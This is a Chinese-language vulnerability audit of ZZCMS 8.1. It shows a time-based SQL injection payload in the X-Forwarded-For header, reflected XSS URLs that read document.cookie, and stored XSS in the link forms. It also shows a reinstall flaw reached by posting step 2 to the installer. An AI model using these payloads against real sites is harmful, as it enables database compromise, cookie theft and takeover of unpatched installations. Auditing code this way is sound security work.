前言:
很早就想搞代码审计了,但是一直觉得自己其他方面还差很多,所以一直在各种补,虽说学的还没忘的快。这次选择ZZCMS8.1主要是当初,这个CMS自从离心小姐姐审计了一番后,然后我就看到吐司也有人审计,很多地方都开始审计,我就纳闷了,为啥会有这么多人审计,,,,离心给我说,估计是因为这是ZZCMS吧。。。
0X01
HTTP head SQL injection 用户登录处和管理员后台登录处都是用的同样的代码,所以都是可以注射的。
G:\zzcms8.1\user\logincheck.php 18行—23行
G:\zzcms8.1\admin\logincheck.php 19行—24行
1 2 3 4 $ip =getip ();$sql ="select * from zzcms_login_times where ip='$ip ' and count>='" .trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<" .jgsj." " ;$rs = query ($sql ); $row = num_rows ($rs );
然后跟进一下 getip() 函数
G:\zzcms8.1\inc\function.php 72行—84行
1 2 3 4 5 6 7 8 9 10 11 12 13 function getip ( ) { if (getenv ("HTTP_CLIENT_IP" ) && strcasecmp (getenv ("HTTP_CLIENT_IP" ), "unknown" )) $ip = getenv ("HTTP_CLIENT_IP" ); else if (getenv ("HTTP_X_FORWARDED_FOR" ) && strcasecmp (getenv ("HTTP_X_FORWARDED_FOR" ), "unknown" )) $ip = getenv ("HTTP_X_FORWARDED_FOR" ); else if (getenv ("REMOTE_ADDR" ) && strcasecmp (getenv ("REMOTE_ADDR" ), "unknown" )) $ip = getenv ("REMOTE_ADDR" ); else if (isset ($_SERVER ['REMOTE_ADDR' ]) && $_SERVER ['REMOTE_ADDR' ] && strcasecmp ($_SERVER ['REMOTE_ADDR' ], "unknown" )) $ip = $_SERVER ['REMOTE_ADDR' ]; else $ip = "unknown" ; return ($ip ); }
然后,我们可以看出,HTTP_CLIENT_IP 和 HTTP_X_FORWARDED_FOR 都是可以自己伪造的,并且没有任何限制,所以,这就是一个明显的注入点。
我们就验证下常用的 HTTP_X_FORWARDED_FOR ,来构造下注入语句,测试下。
1 X-Forwarded-For: 0.0 .0 .0 ' and sleep(10) and ' 1 '=' 1
在用户登录处或者后台管理页面登录处,用 burp 抓包下,添加下上句的 payload ,然后就可以看出页面延时了10秒,从而证明存在注入。
0X02
Reflected XSS 在根目录的 uploadimg_form.php 文件里,存在两处没有任何过滤的可控输入输出。
G:\zzcms8.1\uploadimg_form.php 66行—67行
1 2 <input name="noshuiyin" type="hidden" id="noshuiyin" value="<?php echo @$_GET ['noshuiyin']?>" /> <input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET ['imgid']?>" />
可以看出可控参数 noshuiyin 和 imgid 都没有任何过滤,所以我们的 payload 只需要闭合下标签就可以达到攻击效果。
1 2 uploadimg_form.php?noshuiyin="><script>alert(document.cookie)</script> uploadimg_form.php?imgid=" ><script>alert(document.cookie)</script>
这个文件也没有权限控制跳转,所以可以直接弹出弹框。
0X03
Storage type XSS G:\zzcms8.1\one\link.php 7行—21行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (isset ($_REQUEST ["action" ])=="add" ){ checkyzm ($_POST ["yzm" ]); session_write_close (); $sitename = isset ($_POST ['sitename' ])?$_POST ['sitename' ]:"" ; $url = isset ($_POST ['url' ])?addhttp ($_POST ['url' ]):"" ; $logo = isset ($_POST ['logo' ])?addhttp ($_POST ['logo' ]):"" ; $content = isset ($_POST ['content' ])?$_POST ['content' ]:"" ; if ($sitename =='' ||$url =='' ||$logo =='' ||$content =='' ){ showmsg ('请完整填写您的信息' ); } query ("insert into zzcms_link (sitename,url,logo,content,sendtime)values('$sitename ','$url ','$logo ','$content ','" .date ('Y-m-d H:i:s' )."')" ); showmsg ('操作成功!提示:提交申请后,请做好本站链接——如果没有增加本站的链接,那么你的申请是不会被通过的。' ,'link.php' ) ; }
可以看出,这里只对 sitename,url,logo,content 这四个参数判断了一下是否存在和是否为空,然后就存到数据库里了,没有进行任何过滤和其它的验证。
G:\zzcms8.1\admin\linkmanage.php 127行—140行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $rsn =query ("select bigclassname from zzcms_linkclass where bigclassid=" .$row ["bigclassid" ]." " ); $rown =fetch_array ($rsn ); echo $rown ["bigclassname" ]?> </a></td> <td><b><?php echo $row ["sitename" ]?> </b><br> <a href="<?php echo $row [" url"]?>" target="_blank" ><?php echo $row ["url" ]?> </a><br> <?php if ($row ["logo" ]<>"" ){?> <img src="<?php echo $row [" logo"]?>" width="150" height="50" > <?php }else { echo "未填写LOGO地址" ; } ?> </td> <td><?php echo $row ["content" ]?> </td> <td><?php echo $row ["sendtime" ]?> </td>
在输出的界面代码中也没有任何过滤,所以,这就造成了一个储存型XSS漏洞。
好吧,出现了玄学问题,,,从 link.php 文件里存到数据库的那四个参数,其中 “ > < 都被实体编码了,好玄学,,,那总得出来个审计出来个储存把?
G:\zzcms8.1\admin\link_save.php 21行—43行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $FriendSiteName =trim ($_REQUEST ["sitename" ]); $url =addhttp (trim ($_REQUEST ["url" ]));$logo =addhttp (trim ($_REQUEST ["logo" ]));$content =trim ($_REQUEST ["content" ]);if (isset ($_POST ["passed" ])){ $passed =$_POST ["passed" ]; }else { $passed =0 ; }if (isset ($_POST ["elite" ])){ $elite =$_POST ["elite" ]; }else { $elite =0 ; }if ($_REQUEST ["action" ]=="add" ){ query ("INSERT INTO zzcms_link (bigclassid,sitename,url,logo,content,passed,elite,sendtime)VALUES('$classid ','$FriendSiteName ','$url ','$logo ','$content ','$passed ','$elite ','" .date ('Y-m-d H:i:s' )."')" ); }elseif ($_REQUEST ["action" ]=="modify" ) { $id =$_POST ["id" ]; query ("update zzcms_link set bigclassid='$classid ',sitename='$FriendSiteName ',url='$url ',logo='$logo ',content='$content ',passed='$passed ',elite='$elite ',sendtime='" .date ('Y-m-d H:i:s' )."' where id='$id '" ); }
这个是管理后台页面的添加友联,代码和上面的差不多,基本一样,那这里总不会出现玄学问题了吧?
我们从这里插入常见的 payload ,<script>alert(1)</script>
。
恩,成功的弹出来了。
0X04
Reload vulnerability G:\zzcms8.1\install\index.php 11行/51行—90行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 $step = isset ($_POST ['step' ]) ? $_POST ['step' ] : 1 ;<?php switch ($step ) { case '1' : include 'step_' .$step .'.php' ; break ; case '2' : $pass = true ; $PHP_VERSION = PHP_VERSION; if (version_compare ($PHP_VERSION , '4.3.0' , '<' )) { $php_pass = $pass = false ; } else { $php_pass = true ; } $PHP_MYSQL = '' ; if (extension_loaded ('mysql' )) { $PHP_MYSQL = '支持' ; $mysql_pass = true ; } else { $PHP_MYSQL = '不支持' ; $mysql_pass = $pass = false ; } $PHP_GD = '' ; if (function_exists ('imagejpeg' )) $PHP_GD .= 'jpg' ; if (function_exists ('imagegif' )) $PHP_GD .= ' gif' ; if (function_exists ('imagepng' )) $PHP_GD .= ' png' ; if ($PHP_GD ) { $gd_pass = true ; } else { $gd_pass = false ; } $PHP_URL = @get_cfg_var ("allow_url_fopen" ); $url_pass = $PHP_URL ? true : false ; include 'step_' .$step .'.php' ; break ; case '3' : include 'step_' .$step .'.php' ; break ; case '4' : include 'step_' .$step .'.php' ; break ;
这个ZZCMS也是通过 install.lock 来判断是否已经安装了的,然后我们根据上面的代码可以看出 step 参数如果为空的话,就默认从 1 开始,然后我们跟进下 step_1.php 这个文件。
G:\zzcms8.1\install\step_1.php 1行—5行
1 2 3 4 5 <?php if (file_exists ("install.lock" )){ echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>" ; }else {?>
这个文件里判断了当前目录下是否存在 install.lock 文件,如果存在就提示已经安装了,那继续看下 step_2.php 的内容。
G:\zzcms8.1\install\step_2.php 1行—3行
1 2 3 <?php if (@$step ==2 ){?>
这里没有继续判断是否存在 install.lock 文件,那继续看下剩下的 step_3/4.php 里有没有判断条件。
G:\zzcms8.1\install\step_3.php 1行—5行
1 2 3 4 5 <?php if (@$step ==3 ){ $token = md5 (uniqid (rand (), true )); $_SESSION ['token' ]= $token ; ?>
G:\zzcms8.1\install\step_4.php 1行—9行
1 2 3 4 5 6 7 8 9 <?php if (@$step ==4 ){ if ($_POST ['token' ] != $_SESSION ['token' ] || $_POST ['token' ]=='' ){ echo "非法提交" .$_POST ['token' ]."<br>" .$_SESSION ['token' ]; exit (); }?>
step_3.php 这个文件里也没有判断是否存在 install.lock 这个文件,只不过在 session 里添加了一个随机 token ,然后 step_4.php 文件里也没有判断 install.lock ,只是验证了一下在 3 里的那个 token ,所以,3 到 4 这个步骤不能越过,但是,这是个重装漏洞是妥妥的了。
我们只需要进入 install\index.php 路劲文件下,POST 一下 2 ,然后按顺序走下去就重装了这个CMS。
0X05
这个CMS后台管理处,还有一堆储存型XSS。。。。